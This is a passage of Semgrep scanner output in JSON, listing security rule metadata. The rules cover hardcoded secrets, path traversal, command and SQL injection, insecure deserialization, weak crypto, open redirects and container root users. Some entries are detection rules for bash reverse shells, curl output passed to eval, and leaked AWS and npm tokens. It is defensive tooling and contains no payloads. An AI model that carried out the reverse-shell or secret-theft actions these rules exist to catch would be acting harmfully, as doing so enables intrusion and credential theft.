\"arg2\"})`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","id":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","name":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"help":{"markdown":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","id":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","name":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","id":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","name":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key","id":"go.jwt-go.security.jwt.hardcoded-jwt-key","name":"go.jwt-go.security.jwt.hardcoded-jwt-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt.hardcoded-jwt-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","id":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","name":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"help":{"markdown":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"helpUri":"https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","id":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","name":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","id":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","name":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","id":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","name":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","id":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","name":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"help":{"markdown":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect)\n - [https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/](https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/)\n - [https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231](https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231)\n","text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect","id":"python.django.security.injection.open-redirect.open-redirect","name":"python.django.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","id":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","name":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user-entrypoint.missing-user-entrypoint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval","id":"bash.curl.security.curl-eval.curl-eval","name":"bash.curl.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"help":{"markdown":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers)\n - [https://docs.python.org/3/library/ssl.html#cipher-selection](https://docs.python.org/3/library/ssl.html#cipher-selection)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers)\n","text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","id":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","name":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","id":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","name":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection)\n - [https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data](https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","id":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","name":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"NPM registry authentication token detected"},"help":{"markdown":"NPM registry authentication token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"NPM registry authentication token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","id":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","name":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Semgrep found a bash reverse shell"},"help":{"markdown":"Semgrep found a bash reverse shell\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found a bash reverse shell"},"helpUri":"https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell","id":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","name":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.ci.security.bash-reverse-shell.bash_reverse_shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats 